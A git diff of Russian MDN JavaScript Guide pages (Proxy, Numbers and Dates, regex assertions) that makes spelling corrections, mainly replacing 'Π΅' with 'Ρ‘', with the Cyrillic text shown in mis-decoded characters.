<pre class="brush: js">var revocable = Proxy.revocable({}, {
get: function(target, name) {
@@ -233,7 +233,7 @@ typeof proxy; // "object", для ΠΌΠ΅Ρ‚ΠΎΠ΄Π° typeof Π½Π΅Ρ‚ Π»ΠΎΠ²Ρƒ
<h3 id="Π£Π»ΡƒΡ‡ΡˆΠ΅Π½Π½Π°Ρ_функция_apply">Π£Π»ΡƒΡ‡ΡˆΠ΅Π½Π½Π°Ρ функция <code>apply</code></h3>
-<p>Π’ ES5 ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{jsxref("Function.prototype.apply()")}} для Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ контСкстС (с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΒ <code>this)</code>Β ΠΈ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Π²ΠΈΠ΄Π΅ массива (ΠΈΠ»ΠΈΒ <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массива-ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</a>).</p>
+<p>Π’ ES5 ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{jsxref("Function.prototype.apply()")}} для Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ контСкстС (с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΒ <code>this)</code>Β ΠΈ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Π²ΠΈΠ΄Π΅ массива (ΠΈΠ»ΠΈΒ <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массива-ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</a>).</p>
<pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre>
diff --git a/files/ru/web/javascript/guide/numbers_and_dates/index.html b/files/ru/web/javascript/guide/numbers_and_dates/index.html
index 09a2f8ee9e..038b00c440 100644
--- a/files/ru/web/javascript/guide/numbers_and_dates/index.html
+++ b/files/ru/web/javascript/guide/numbers_and_dates/index.html
@@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Guide/Numbers_and_dates
0777 // обрабатываСтся ΠΊΠ°ΠΊ Π²ΠΎΡΡŒΠΌΠ΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅ Π² нСстрогой Ρ„ΠΎΡ€ΠΌΠ΅ (511 Π² дСсятичной)
</pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ дСсятичныС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с нуля (<code>0</code>) Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт другая дСсятичная Ρ†ΠΈΡ„Ρ€Π°, Π½ΠΎ Ссли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Π·Π° Π½ΡƒΠ»Π΅ΠΌ Ρ†ΠΈΡ„Ρ€Π° мСньшС 8, Ρ‚ΠΎ число обрабатываСтся ΠΊΠ°ΠΊ Π²ΠΎΡΡŒΠΌΠ΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ дСсятичныС Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с нуля (<code>0</code>) Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт другая дСсятичная Ρ†ΠΈΡ„Ρ€Π°, Π½ΠΎ Ссли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Π·Π° Π½ΡƒΠ»Ρ‘ΠΌ Ρ†ΠΈΡ„Ρ€Π° мСньшС 8, Ρ‚ΠΎ число обрабатываСтся ΠΊΠ°ΠΊ Π²ΠΎΡΡŒΠΌΠ΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅.</p>
<h3 id="Π”Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅_числа">Π”Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅ числа</h3>
@@ -62,9 +62,9 @@ var negInfiniteNum = Number.NEGATIVE_INFINITY;
var notANum = Number.NaN;
</pre>
-<p>Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²Ρ‹ΡˆΠ΅, для получСния пСрСчислСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ,Β Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ свойствам ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎΒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Number</code>. Π’ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Ρƒ экзСмпляра этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, созданного Π²Π°ΠΌΠΈ ΠΏΡ€ΠΈΒ Ρ€Π°Π±ΠΎΡ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, этих свойств Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.Β </p>
+<p>Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²Ρ‹ΡˆΠ΅, для получСния пСрСчислСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ,Β Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ свойствам ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎΒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Number</code>. Π’ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Ρƒ экзСмпляра этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, созданного Π²Π°ΠΌΠΈ ΠΏΡ€ΠΈΒ Ρ€Π°Π±ΠΎΡ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, этих свойств Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.Β </p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ список свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Number</code>.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ список свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Number</code>.</p>
<table class="standard-table">
<caption>Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Number</code></caption>
@@ -139,7 +139,7 @@ var notANum = Number.NaN;
</tr>
<tr>
<td>{{jsxref("Number.isNaN()")}}</td>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, являСтся Π»ΠΈ число, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, {{jsxref("Global_Objects/NaN", "NaN")}} (Π½Π΅ числом). Аналогичный, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‡Π΅ΠΌ глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, являСтся Π»ΠΈ число, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, {{jsxref("Global_Objects/NaN", "NaN")}} (Π½Π΅ числом). Аналогичный, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‡Π΅ΠΌ глобальная функция {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</td>
</tr>
<tr>
<td>{{jsxref("Number.isSafeInteger()")}}</td>
@@ -280,7 +280,7 @@ var notANum = Number.NaN;
<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΡ‹ΠΌ Π±Π»ΠΎΠΊΠ°Β <code>parameters</code> Π² ΠΊΠΎΠ΄Π΅ прСдставлСнном Π²Ρ‹ΡˆΠ΅, ΠΌΠΎΠ³ΡƒΡ‚Β Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ любая ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… конструкций:</p>
<ul>
- <li>ΠŸΡƒΡΡ‚ΠΎ: создаСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:Β <code>today = new Date();</code>.</li>
+ <li>ΠŸΡƒΡΡ‚ΠΎ: создаёт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:Β <code>today = new Date();</code>.</li>
<li>ВСкстовая строка, содСрТащая Π΄Π°Ρ‚Ρƒ ΠΈ врСмя Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅: "ΠœΠ΅ΡΡΡ† дСнь, Π³ΠΎΠ΄ часы:ΠΌΠΈΠ½ΡƒΡ‚Ρ‹:сСкунды". НапримСр:Β <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ сСкунды, ΠΌΠΈΠ½ΡƒΡ‚Ρ‹Β ΠΈΠ»ΠΈ часы, Ρ‚ΠΎ ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ принято Π·Π° 0.</li>
<li>Набор цСлочислСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для Π³ΠΎΠ΄Π°, мСсяца и дня. НапримСр:Β <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
<li>Набор цСлочислСнных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для Π³ΠΎΠ΄Π°, мСсяца, дня, часов, ΠΌΠΈΠ½ΡƒΡ‚ ΠΈ сСкунд. НапримСр: <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
@@ -326,7 +326,7 @@ var notANum = Number.NaN;
<pre class="brush: js">var Xmas95 = new Date("December 25, 1995");
</pre>
-<p>Π’ΠΎΠ³Π΄Π°Β <code>Xmas95.getMonth()</code> Π²Π΅Ρ€Π½Π΅Ρ‚ 11, Π°Β <code>Xmas95.getFullYear()</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ 1995.</p>
+<p>Π’ΠΎΠ³Π΄Π°Β <code>Xmas95.getMonth()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ 11, Π°Β <code>Xmas95.getFullYear()</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ 1995.</p>
<p>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹Β <code>getTime</code> ΠΈΒ <code>setTime ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ</code>Β ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ ΠΏΡ€ΠΈ сравнСнии Π΄Π°Ρ‚. ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>getTime</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство миллисСкунд, ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠΈΡ… с 00:00:00 1 Января, 1970 Π³ΠΎΠ΄Π°.</p>
@@ -340,7 +340,7 @@ var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
var daysLeft = Math.round(daysLeft); // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство Π΄Π½Π΅ΠΉ, ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π³ΠΎΠ΄Π°
</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Date</code> Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉΒ <code>today, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя</code>. Π—Π°Ρ‚Π΅ΠΌ, создаСтся Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ <code>Date</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉΒ <code>endYear,</code>Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ значСния, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π½Π° ΠΊΠΎΠ½Π΅Ρ† Π³ΠΎΠ΄Π°. ПослС этого, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ рассчитанного количСства миллисСкунд Π² сутках, вычисляСтся количСство Π΄Π½Π΅ΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ Β <code>today</code> ΠΈΒ <code>endYear</code>, ΠŸΡ€ΠΈ этом ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getTime</code> ΠΈ ΠΎΠΊΡ€ΡƒΠ³Π»Π΅Π½ΠΈΠ΅, для получСния количСства ΠΏΠΎΠ»Π½Ρ‹Ρ… Π΄Π½Π΅ΠΉ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Date</code> Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉΒ <code>today, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя</code>. Π—Π°Ρ‚Π΅ΠΌ, создаётся Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ <code>Date</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉΒ <code>endYear,</code>Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ значСния, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π½Π° ΠΊΠΎΠ½Π΅Ρ† Π³ΠΎΠ΄Π°. ПослС этого, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ рассчитанного количСства миллисСкунд Π² сутках, вычисляСтся количСство Π΄Π½Π΅ΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ Β <code>today</code> ΠΈΒ <code>endYear</code>, ΠŸΡ€ΠΈ этом ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>getTime</code> ΠΈ ΠΎΠΊΡ€ΡƒΠ³Π»Π΅Π½ΠΈΠ΅, для получСния количСства ΠΏΠΎΠ»Π½Ρ‹Ρ… Π΄Π½Π΅ΠΉ.</p>
<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>parse</code> ΠΏΠΎΠ»Π΅Π·Π΅Π½ для присвоСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ <code>Date</code>Β ΠΈΠ· тСкстового Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β <code>parse</code> ΠΈΒ <code>setTime</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>IPOdate</code>:</p>
@@ -367,11 +367,11 @@ IPOdate.setTime(Date.parse("Aug 9, 1995"));
}
</pre>
-<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ, функция JSClock создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Date</code>,Β Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉΒ <code>time</code>; Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создаСтся Π±Π°Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², пСрСмСнная <code>time </code>содСрТит Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β <code>getHours</code>, <code>getMinutesΒ </code>ΠΈΒ <code>getSeconds</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΒ <code>hour</code>, <code>minuteΒ </code>ΠΈΒ <code>second</code>.</p>
+<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ, функция JSClock создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Date</code>,Β Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉΒ <code>time</code>; Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создаётся Π±Π°Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², пСрСмСнная <code>time </code>содСрТит Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β <code>getHours</code>, <code>getMinutesΒ </code>ΠΈΒ <code>getSeconds</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΒ <code>hour</code>, <code>minuteΒ </code>ΠΈΒ <code>second</code>.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ выраТСния строят Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку Π½Π° основС time. ΠŸΠ΅Ρ€Π²ΠΎΠ΅ ΠΈΠ· Π½ΠΈΡ… создаСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>temp</code>, присваивая Π΅ΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ условия; Если <code>hour</code> большС Ρ‡Π΅ΠΌ 12, Ρ‚ΠΎ (<code>hour - 12</code>), ΠΈΠ½Π°Ρ‡Π΅ просто <code>hour.</code> В случаС ΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° <code>hour</code>Β Ρ€Π°Π²Π½ΠΎ 0, бСрСтся фиксированноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "12".</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ выраТСния строят Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку Π½Π° основС time. ΠŸΠ΅Ρ€Π²ΠΎΠ΅ ΠΈΠ· Π½ΠΈΡ… создаёт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>temp</code>, присваивая Π΅ΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ условия; Если <code>hour</code> большС Ρ‡Π΅ΠΌ 12, Ρ‚ΠΎ (<code>hour - 12</code>), ΠΈΠ½Π°Ρ‡Π΅ просто <code>hour.</code> В случаС ΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° <code>hour</code>Β Ρ€Π°Π²Π½ΠΎ 0, бСрётся фиксированноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "12".</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΡ€Π°Ρ‰ΠΈΠ²Π°Π΅Ρ‚ ΠΌΠΈΠ½ΡƒΡ‚Ρ‹ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>temp</code>. Если количСство ΠΌΠΈΠ½ΡƒΡ‚ мСньшС 10, Ρ‚ΠΎ условноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ добавляСт строку с Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΌ Π½ΡƒΠ»Π΅ΠΌ, ΠΈΠ½Π°Ρ‡Π΅, просто строку с Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ. Π‘Π΅ΠΊΡƒΠ½Π΄Ρ‹ ΠΏΡ€ΠΈΡ€Π°Ρ‰ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>temp</code>Β Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΏΡƒΡ‚Π΅ΠΌ.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΡ€Π°Ρ‰ΠΈΠ²Π°Π΅Ρ‚ ΠΌΠΈΠ½ΡƒΡ‚Ρ‹ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>temp</code>. Если количСство ΠΌΠΈΠ½ΡƒΡ‚ мСньшС 10, Ρ‚ΠΎ условноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ добавляСт строку с Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΌ Π½ΡƒΠ»Ρ‘ΠΌ, ΠΈΠ½Π°Ρ‡Π΅, просто строку с Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ. Π‘Π΅ΠΊΡƒΠ½Π΄Ρ‹ ΠΏΡ€ΠΈΡ€Π°Ρ‰ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>temp</code>Β Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΏΡƒΡ‚Π΅ΠΌ.</p>
<p>Π’ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ всСго, послСднСС условноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ добавляСт строку "P.M." ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>temp</code> Ссли <code>hour</code> Ρ€Π°Π²Π½ΠΎ ΠΈΠ»ΠΈ большС 12,Β ΠΈΠ½Π°Ρ‡Π΅, добавляСтся строка "A.M.".</p>
diff --git a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html
index 2d04ed19aa..4906966bb8 100644
--- a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html
+++ b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
---
<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
-<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° (assertion) Π·Π°Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ совпадСния ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… способов. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ условныС выраТСния, ΠΎΠΏΠ΅Ρ€Π΅ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ (look-ahead) ΠΈ рСтроспСктивныС (look-behind) ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</p>
